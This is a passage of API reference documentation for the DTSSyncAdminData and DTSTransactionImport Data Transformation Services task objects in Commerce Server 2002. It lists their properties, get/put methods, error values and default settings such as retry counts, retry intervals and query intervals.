[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[Visual Basic]

See Also

Scripting the Configuration Synchronization DTS Task

[C++]

_DTSSyncAdminData::CustomTask_Execute

_DTSSyncAdminData::get_NumRetries, put_NumRetries

_DTSSyncAdminData::PersistPropertyBag_Load

_DTSSyncAdminData::get_RetryInterval, put_RetryInterval

_DTSSyncAdminData::get_SourceName, put_SourceName

_DTSSyncAdminData::get_SourceType, put_SourceType

[Visual Basic]

DTSSyncAdminData.CustomTask_Execute

DTSSyncAdminData.NumRetries

DTSSyncAdminData.PersistPropertyBag_Load

DTSSyncAdminData.RetryInterval

DTSSyncAdminData.SourceName

DTSSyncAdminData.SourceType


_DTSSSyncAdminData Properties [C++]

_DTSSSyncAdminData Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
NumRetries | long | Contains the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
RetryInterval | long | Contains the number of seconds between retry attempts. This property is read/write.
SourceName | BSTR | Contains the name of the Web site or Data Warehouse for which this task is processing data. This property is read/write.
SourceType | long | An enumeration that contains the level on which the DTS task will operate. This property is read/write.
[Visual Basic]
Property | Type | Description
NumRetries | Long | Contains the number of retry attempts. This property is read/write.
RetryInterval | Long | Contains the number of seconds between retry attempts. This property is read/write.
SourceName | String | Contains the name of the Web site or Data Warehouse for which this task is processing data. This property is read/write.
SourceType | Long | An enumeration that contains the level on which the DTS task will operate. This property is read/write.


_DTSSyncAdminData::get_NumRetries, put_NumRetries Property [C++]

DTSSyncAdminData.NumRetries Property [Visual Basic]

The NumRetries property contains the number of retry attempts to be made after a SQL connection/query failure.

Definition

[C++]

Get method:

HRESULT _DTSSyncAdminData::get_NumRetries(
 long NumRetries
);

Put method:

HRESULT _DTSSyncAdminData::put_NumRetries(
 long NumRetries
);
[Visual Basic]
Property NumRetries() As Long

Parameters

NumRetries[C++]
[in] When putting the property, a long that contains the number of retry attempts that will be made after a SQL connection/query failure.
[out,retval] When getting the property, a long that contains the number of retry attempts that will be made after a SQL connection/query failure.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the NumRetries property is set to 0, no retry attempt will be made. The minimum number of retry attempts is 0, and the maximum number of retry attempts is 255. The default value is 10.

See Also

Scripting the Configuration Synchronization DTS Task

[C++]

_DTSSyncAdminData::CustomTask_Execute

_DTSSyncAdminData::PersistPropertyBag_Load

_DTSSyncAdminData::PersistPropertyBag_Save

_DTSSyncAdminData::get_RetryInterval, put_RetryInterval

_DTSSyncAdminData::get_SourceName, put_SourceName

_DTSSyncAdminData::get_SourceType, put_SourceType

[Visual Basic]

DTSSyncAdminData.CustomTask_Execute

DTSSyncAdminData.PersistPropertyBag_Load

DTSSyncAdminData.PersistPropertyBag_Save

DTSSyncAdminData.RetryInterval

DTSSyncAdminData.SourceName

DTSSyncAdminData.SourceType


_DTSSyncAdminData::get_RetryInterval, put_RetryInterval Property [C++]

DTSSyncAdminData.RetryInterval Property [Visual Basic]

The RetryInterval property contains the amount of time, in seconds, that will pass between each retry.

Definition

[C++]

Get method:

HRESULT _DTSSyncAdminData::get_RetryInterval(
 long RetryInterval
);

Put method:

HRESULT _DTSSyncAdminData::put_RetryInterval(
 long RetryInterval
);
[Visual Basic]
Property RetryInterval() As Long

Parameters

RetryInterval[C++]
[in] When putting the property, a long that contains the number of seconds between retry attempts.
[out,retval] When getting the property, a long that contains the number of seconds between retry attempts.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The minimum value that can be assigned to the RetryInterval property is 0, and the maximum value is 3600. The default value is 30.

See Also

Scripting the Configuration Synchronization DTS Task

[C++]

_DTSSyncAdminData::CustomTask_Execute

_DTSSyncAdminData::get_NumRetries, put_NumRetries

_DTSSyncAdminData::PersistPropertyBag_Load

_DTSSyncAdminData::PersistPropertyBag_Save

_DTSSyncAdminData::get_SourceName, put_SourceName

_DTSSyncAdminData::get_SourceType, put_SourceType

[Visual Basic]

DTSSyncAdminData.CustomTask_Execute

DTSSyncAdminData.NumRetries

DTSSyncAdminData.PersistPropertyBag_Load

DTSSyncAdminData.PersistPropertyBag_Save

DTSSyncAdminData.SourceName

DTSSyncAdminData.SourceType


_DTSSyncAdminData::get_SourceName, put_SourceName Property [C++]

DTSSyncAdminData.SourceName Property [Visual Basic]

The SourceName property is a String that contains the name of the Web site or Data Warehouse for which this task is processing data.

Definition

[C++]

Get method:

HRESULT _DTSSyncAdminData::get_SourceName(
 BSTR SourceName
);

Put method:

HRESULT _DTSSyncAdminData::put_SourceName(
 BSTR SourceName
);
[Visual Basic]
Property SourceName() As String

Parameters

SourceName[C++]
[in] When putting the property, a BSTR that contains the name of the Web site or Data Warehouse.
[out,retval] When putting the property, a BSTR that contains the name of the Web site or Data Warehouse.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Configuration Synchronization DTS Task

[C++]

_DTSSyncAdminData::CustomTask_Execute

_DTSSyncAdminData::get_NumRetries, put_NumRetries

_DTSSyncAdminData::PersistPropertyBag_Load

_DTSSyncAdminData::PersistPropertyBag_Save

_DTSSyncAdminData::get_RetryInterval, put_RetryInterval

_DTSSyncAdminData::get_SourceType, put_SourceType

[Visual Basic]

DTSSyncAdminData.CustomTask_Execute

DTSSyncAdminData.NumRetries

DTSSyncAdminData.PersistPropertyBag_Load

DTSSyncAdminData.PersistPropertyBag_Save

DTSSyncAdminData.RetryInterval

DTSSyncAdminData.SourceType


_DTSSyncAdminData::get_SourceType, put_SourceType Property [C++]

DTSSyncAdminData.SourceType Property [Visual Basic]

The SourceType property is an enumeration that contains the level on which the Data Transformation Services (DTS) task will operate.

Definition

[C++]

Get method:

HRESULT _DTSSyncAdminData::get_SourceType(
 long SourceType
);

Put method:

HRESULT _DTSSyncAdminData::put_SourceType(
 long SourceType
);
[Visual Basic]
Property SourceType() As Long

Parameters

SourceType[C++]
[in] When putting the property, a long that contains the type of source.
[out, retval] When getting the property, a long that contains the type of source.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the SourceType property is set to srctypeSite (0), the task will operate on the Web site level. If the SourceType property is set to scrtypeDW (1), the task will operate on the Data Warehouse level. The default value is srctypeSite (0).

See Also

Scripting the Configuration Synchronization DTS Task

[C++]

_DTSSyncAdminData::CustomTask_Execute

_DTSSyncAdminData::get_NumRetries, put_NumRetries

_DTSSyncAdminData::PersistPropertyBag_Load

_DTSSyncAdminData::PersistPropertyBag_Save

_DTSSyncAdminData::get_RetryInterval, put_RetryInterval

_DTSSyncAdminData::get_SourceName, put_SourceName

[Visual Basic]

DTSSyncAdminData.CustomTask_Execute

DTSSyncAdminData.NumRetries

DTSSyncAdminData.PersistPropertyBag_Load

DTSSyncAdminData.PersistPropertyBag_Save

DTSSyncAdminData.RetryInterval

DTSSyncAdminData.SourceName


DTSTransactionImport Object [C++]

DTSTransactionImport Object [Visual Basic]

Use this object to run reports to analyze transaction data. This object should be run from within the context of a Data Transformation Services (DTS) package. The methods and properties should not be accessed directly. For more information about scripting the Transaction Data Import DTS task, see Scripting the Transaction Data Import DTS Task.

ProgID: | Commerce.DTSTransactionImport (Externally creatable)
COM Class Name: | DTSTransactionImport
Type Library Name: | Microsoft Commerce 2002 Transaction Data Import DTS Task Type Library
DLL Name: | CSDWDTSTransImport.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _DTSTransactionImport
Interface ID Constant: | None
Header File: | None

Methods

[C++]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
[Visual Basic]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Properties

[C++]
Property | Type | Description
CustomTask_Description | BSTR | Contains the description of the custom task. This property is read/write.
NumRetries | long | Contains the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
ProcessingType | long | An enumeration that contains the type of processing, either full or incremental. This property is read/write.
RetryInterval | long | Contains the number of seconds between retry attempts. This property is read/write.
QueryInterval | long | The length of the query interval in minutes. This property is read/write.
SourceName | BSTR | Contains the name of the Web site or Data Warehouse for which this task is processing data. This property is read/write.
SourceType | int | An enumeration that contains the level on which the DTS task will operate. This property is read/write.
[Visual Basic]
Property | Type | Description
CustomTask_Description | String | Contains the description of the custom task. This property is read/write.
NumRetries | Long | Contains the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
ProcessingType | Long | An enumeration that contains the type of processing, either full or incremental. This property is read/write.
QueryInterval | Long | The length of the query interval in minutes. This property is read/write.
RetryInterval | Long | Contains the number of seconds between retry attempts. This property is read/write.
SourceName | String | Contains the name of the Web site or Data Warehouse for which this task is processing data. This property is read/write.
SourceType | Integer | An enumeration that contains the level on which the DTS task will operate. This property is read/write.

Remarks

CAUTION
  • When running the Transaction Import DTS task on a Data Warehouse that contains data for multiple Web sites, ensure that classes extended by more than one Web site have uniquely named members if their data types are not the same. If a new member is added to a class in multiple Web sites and the data type of the new members is not the same, a failure may occur or data may be incorrectly converted when the Transaction Import DTS task is run.

See Also

Scripting the Transaction Data Import DTS Task

[C++]

DTSCatalogImport Object

DTSDeleteImport Object

DTSIPResolution Object

DTSLogImport Object

DTSPostImport Object

DTSSynchAdminData Object

[Visual Basic]

DTSCatalogImport Object

DTSDeleteImport Object

DTSIPResolution Object

DTSLogImport Object

DTSPostImport Object

DTSSynchAdminData Object


_DTSTransactionImport Methods [C++]

_DTSTransactionImport Methods [Visual Basic]

Methods

[C++]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
[Visual Basic]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.


_DTSTransactionImport::CustomTask_Execute Method [C++]

DTSTransactionImport.CustomTask_Execute Method [Visual Basic]

Use this method to execute the Data Transformation Services (DTS) task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
void _DTSTransactionImport::CustomTask_Execute(
 IDispatch* pPackage,
 IDispatch* pPackageEvents,
 IDispatch* pPackageLog
);
[Visual Basic]
Sub CustomTask_Execute(
 pPackage As Object,
 pPackageEvents As Object,
 pPackageLog As Object
)

Parameters

pPackage [C++]
[in] A reference to the Package object that runs the DTS task.
pPackage [Visual Basic]
The Package object that runs the DTS task.
pPackageEvents [C++]
[in] A reference to the events of the Package object.
pPackageEvents [Visual Basic]
The events of the Package object.
pPackageLog [C++]
[in] A reference to a PackageLog object that writes task log records in the database or writes log messages to the log file.
pPackageLog [Visual Basic]
The PackageLog object that writes task log records in the database or writes log messages to the log file.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Transaction Data Import DTS Task

[C++]

_DTSTransactionImport::get_NumRetries, put_NumRetries

_DTSTransactionImport::PersistPropertyBag_Load

_DTSTransactionImport::PersistPropertyBag_Save

_DTSTransactionImport::get_ProcessingType, put_ProcessingType

_DTSTransactionImport::get_RetryInterval, put_RetryInterval

_DTSTransactionImport::get_SourceName, put_SourceName

_DTSTransactionImport::get_SourceType, put_SourceType

[Visual Basic]

DTSTransactionImport.NumRetries

DTSTransactionImport.PersistPropertyBag_Load

DTSTransactionImport.PersistPropertyBag_Save

DTSTransactionImport.ProcessingType

DTSTransactionImport.RetryInterval

DTSTransactionImport.SourceName

DTSTransactionImport.SourceType


_DTSTransactionImport::PersistPropertyBag_Load Method [C++]

DTSTransactionImport.PersistPropertyBag_Load Method [Visual Basic]

Use this method to load the Data Transformation Services (DTS) task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
void _DTSTransactionImport::PersistPropertyBag_Load(
 );
[Visual Basic]
Sub PersistPropertyBag_Load(
 )

Parameters

None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Transaction Data Import DTS Task

[C++]

_DTSTransactionImport::CustomTask_Execute

_DTSTransactionImport::get_NumRetries, put_NumRetries

_DTSTransactionImport::PersistPropertyBag_Save

_DTSTransactionImport::get_ProcessingType, put_ProcessingType

_DTSTransactionImport::get_RetryInterval, put_RetryInterval

_DTSTransactionImport::get_SourceName, put_SourceName

_DTSTransactionImport::get_SourceType, put_SourceType

[Visual Basic]

DTSTransactionImport.CustomTask_Execute

DTSTransactionImport.NumRetries

DTSTransactionImport.PersistPropertyBag_Save

DTSTransactionImport.ProcessingType

DTSTransactionImport.RetryInterval

DTSTransactionImport.SourceName

DTSTransactionImport.SourceType


_DTSTransactionImport::PersistPropertyBag_Save Method [C++]

DTSTransactionImport.PersistPropertyBag_Save Method [Visual Basic]

Use this method to save the Data Transformation Services (DTS) task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
void _DTSTransactionImport::PersistPropertyBag_Save(
 );
[Visual Basic]
Sub PersistPropertyBag_Save(
)

Parameters

None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Transaction Data Import DTS Task

[C++]

_DTSTransactionImport::CustomTask_Execute

_DTSTransactionImport::get_NumRetries, put_NumRetries

_DTSTransactionImport::PersistPropertyBag_Load

_DTSTransactionImport::get_ProcessingType, put_ProcessingType

_DTSTransactionImport::get_RetryInterval, put_RetryInterval

_DTSTransactionImport::get_SourceName, put_SourceName

_DTSTransactionImport::get_SourceType, put_SourceType

[Visual Basic]

DTSTransactionImport.CustomTask_Execute

DTSTransactionImport.NumRetries

DTSTransactionImport.PersistPropertyBag_Load

DTSTransactionImport.ProcessingType

DTSTransactionImport.RetryInterval

DTSTransactionImport.SourceName

DTSTransactionImport.SourceType


_DTSTransactionImport Properties [C++]

_DTSTransactionImport Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
CustomTask_Description | BSTR | Contains the description of the custom task. This property is read/write.
NumRetries | long | Contains the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
ProcessingType | long | An enumeration that contains the type of processing, either full or incremental. This property is read/write.
RetryInterval | long | Contains the number of seconds between retry attempts. This property is read/write.
QueryInterval | long | The length of the query interval in minutes. This property is read/write.
SourceName | BSTR | Contains the name of the Web site or Data Warehouse for which this task is processing data. This property is read/write.
SourceType | int | An enumeration that contains the level on which the DTS task will operate. This property is read/write.
[Visual Basic]
Property | Type | Description
CustomTask_Description | String | Contains the description of the custom task. This property is read/write.
NumRetries | Long | Contains the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
ProcessingType | Long | An enumeration that contains the type of processing, either full or incremental. This property is read/write.
QueryInterval | Long | The length of the query interval in minutes. This property is read/write.
RetryInterval | Long | Contains the number of seconds between retry attempts. This property is read/write.
SourceName | String | Contains the name of the Web site or Data Warehouse for which this task is processing data. This property is read/write.
SourceType | Integer | An enumeration that contains the level on which the DTS task will operate. This property is read/write.


_DTSTransactionImport::get_CustomTask_Description, put_CustomTask_Description Property [C++]

DTSTransactionImport.CustomTask_Description Property [Visual Basic]

The CustomTask_Description property contains the description of the custom task.

Definition

[C++]

Get method:

HRESULT _DTSTransactionImport::get_CustomTask_Description(
 BSTR CustomTask_Description
);

Put method:

HRESULT _DTSTransactionImport::put_CustomTask_Description(
 BSTR CustomTask_Description
);
[Visual Basic]
Property CustomTask_Description() As String

Parameters

NumRetries [C++]
[in] When putting the property, a BSTR that contains the description of the custom task.
[out,retval] When getting the property, a BSTR that contains the description of the custom task.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Transaction Data Import DTS Task

[C++]

_DTSTransactionImport::CustomTask_Execute

_DTSTransactionImport::PersistPropertyBag_Load

_DTSTransactionImport::PersistPropertyBag_Save

_DTSTransactionImport::get_ProcessingType, put_ProcessingType

_DTSTransactionImport::get_RetryInterval, put_RetryInterval

_DTSTransactionImport::get_SourceName, put_SourceName

_DTSTransactionImport::get_SourceType, put_SourceType

[Visual Basic]

DTSTransactionImport.CustomTask_Execute

DTSTransactionImport.PersistPropertyBag_Load

DTSTransactionImport.PersistPropertyBag_Save

DTSTransactionImport.ProcessingType

DTSTransactionImport.RetryInterval

DTSTransactionImport.SourceName

DTSTransactionImport.SourceType


_DTSTransactionImport::get_NumRetries, put_NumRetries Property [C++]

DTSTransactionImport.NumRetries Property [Visual Basic]

The NumRetries property contains the number of retry attempts to be made after a SQL connection/query failure.

Definition

[C++]

Get method:

HRESULT _DTSTransactionImport::get_NumRetries(
 long NumRetries
);

Put method:

HRESULT _DTSTransactionImport::put_NumRetries(
 long NumRetries
);
[Visual Basic]
Property NumRetries() As Long

Parameters

NumRetries [C++]
[in] When putting the property, a long that contains the number of retry attempts that will be made after a SQL connection/query failure.
[out,retval] When getting the property, a long that contains the number of retry attempts that will be made after a SQL connection/query failure.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the NumRetries property is set to 0, no retry attempt will be made. The minimum number of retry attempts is 0, and the maximum number of retry attempts is 255. The default value is 10.

See Also

Scripting the Transaction Data Import DTS Task

[C++]

_DTSTransactionImport::CustomTask_Execute

_DTSTransactionImport::PersistPropertyBag_Load

_DTSTransactionImport::PersistPropertyBag_Save

_DTSTransactionImport::get_ProcessingType, put_ProcessingType

_DTSTransactionImport::get_RetryInterval, put_RetryInterval

_DTSTransactionImport::get_SourceName, put_SourceName

_DTSTransactionImport::get_SourceType, put_SourceType

[Visual Basic]

DTSTransactionImport.CustomTask_Execute

DTSTransactionImport.PersistPropertyBag_Load

DTSTransactionImport.PersistPropertyBag_Save

DTSTransactionImport.ProcessingType

DTSTransactionImport.RetryInterval

DTSTransactionImport.SourceName

DTSTransactionImport.SourceType


_DTSTransactionImport::get_ProcessingType, put_ProcessingType Property [C++]

DTSTransactionImport.ProcessingType Property [Visual Basic]

The ProcessingType property is an enumeration that contains the type of processing, either full or incremental.

Definition

[C++]

Get method:

HRESULT _DTSTransactionImport::get_ProcessingType(
 long ProcessingType
);

Put method:

HRESULT _DTSTransactionImport::put_ProcessingType(
 long ProcessingType
);
[Visual Basic]
Property ProcessingType() As Long

Parameters

ProcessingType[C++]
[in] When putting the property, a long that contains the type of processing.
[out,retval] When getting the property, a long that contains the type of processing.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the ProcessingType property is set to ptypeFull (0), the task will process the full load. If the ProcessingType property is set to ptypeIncremental (100), the task will process the load incrementally. The default value is ptypeFull (0).

See Also

Scripting the Transaction Data Import DTS Task

[C++]

_DTSTransactionImport::CustomTask_Execute

_DTSTransactionImport::get_NumRetries, put_NumRetries

_DTSTransactionImport::PersistPropertyBag_Load

_DTSTransactionImport::PersistPropertyBag_Save

_DTSTransactionImport::get_RetryInterval, put_RetryInterval

_DTSTransactionImport::get_SourceName, put_SourceName

_DTSTransactionImport::get_SourceType, put_SourceType

[Visual Basic]

DTSTransactionImport.CustomTask_Execute

DTSTransactionImport.NumRetries

DTSTransactionImport.PersistPropertyBag_Load

DTSTransactionImport.PersistPropertyBag_Save

DTSTransactionImport.RetryInterval

DTSTransactionImport.SourceName

DTSTransactionImport.SourceType


_DTSTransactionImport::get_QueryInterval, put_QueryInterval Property [C++]

DTSTransactionImport.QueryInterval Property [Visual Basic]

The QueryInterval property is a Long that identifies the number of minutes in the query interval.

Definition

[C++]

Get method:

HRESULT _DTSTransactionImport::get_QueryInterval(
 long QueryInterval
);

Put method:

HRESULT _DTSTransactionImport::put_QueryInterval(
 long QueryInterval
);
[Visual Basic]
Property QueryInterval() As Long

Parameters

QueryInterval[C++]
[in] When putting the property, a long that contains the number of minutes in the query interval.
[out,retval] When getting the property, a long that contains the number of minutes in the query interval.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

A value of zero (0) will issue a straight select against the source tables. For any value greater than zero (0), the task will incrementally import the transactions in groups as determined by the query interval value. For example, if the query interval is 25 minutes (the default value) and the first transaction was logged at 1:30am, the transaction data import task imports all transactions logged between 1:30am and 1:55am, then it would import transactions between 1:55am and 2:20am. This pattern would continue until the current time is reached, at which point the task stops.

If the transaction database is in a different time zone than the Data Warehouse, the import will cease at the current time of the import, when converted into the time zone of the transaction database. For example, if the transaction database is in the EST time zone, the Data Warehouse is in the PST time zone, and the current time is 8:00am in PST, the import will cease when the query interval reaches 8:00am in EST.

Values can range from 0 to 2147483647 (LONG_MAX).

The default value is 25 minutes.


_DTSTransactionImport::get_RetryInterval, put_RetryInterval Property [C++]

DTSTransactionImport.RetryInterval Property [Visual Basic]

The RetryInterval property contains the amount of time, in seconds, that will pass between each retry.

Definition

[C++]

Get method:

HRESULT _DTSTransactionImport::get_RetryInterval(
 long RetryInterval
);

Put method:

HRESULT _DTSTransactionImport::put_RetryInterval(
 long RetryInterval
);
[Visual Basic]
Property RetryInterval() As Long

Parameters

RetryInterval [C++]
[in] When putting the property, a long that contains the number of seconds between retry attempts.
[out,retval] When getting the property, a long that contains the number of seconds between retry attempts.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The minimum value that can be assigned to the RetryInterval property is 0, and the maximum value is 3600. The default value is 30.

See Also

Scripting the Transaction Data Import DTS Task

[C++]

_DTSTransactionImport::CustomTask_Execute

_DTSTransactionImport::get_NumRetries, put_NumRetries

_DTSTransactionImport::PersistPropertyBag_Load

_DTSTransactionImport::PersistPropertyBag_Save

_DTSTransactionImport::get_ProcessingType, put_ProcessingType

_DTSTransactionImport::get_SourceName, put_SourceName

_DTSTransactionImport::get_SourceType, put_SourceType

[Visual Basic]

DTSTransactionImport.CustomTask_Execute

DTSTransactionImport.NumRetries

DTSTransactionImport.PersistPropertyBag_Load

DTSTransactionImport.PersistPropertyBag_Save

DTSTransactionImport.ProcessingType

DTSTransactionImport.SourceName

DTSTransactionImport.SourceType


_DTSTransactionImport::get_SourceName, put_SourceName Property [C++]

DTSTransactionImport.SourceName Property [Visual Basic]

The SourceName property is a String that contains the name of the Web site or Data Warehouse for which this task is processing data.

Definition

[C++]

Get method:

HRESULT _DTSTransactionImport::get_SourceName(
 BSTR SourceName
);

Put method:

HRESULT _DTSTransactionImport::put_SourceName(
 BSTR SourceName
);
[Visual Basic]
Property SourceName() As String

Parameters

SourceName[C++]
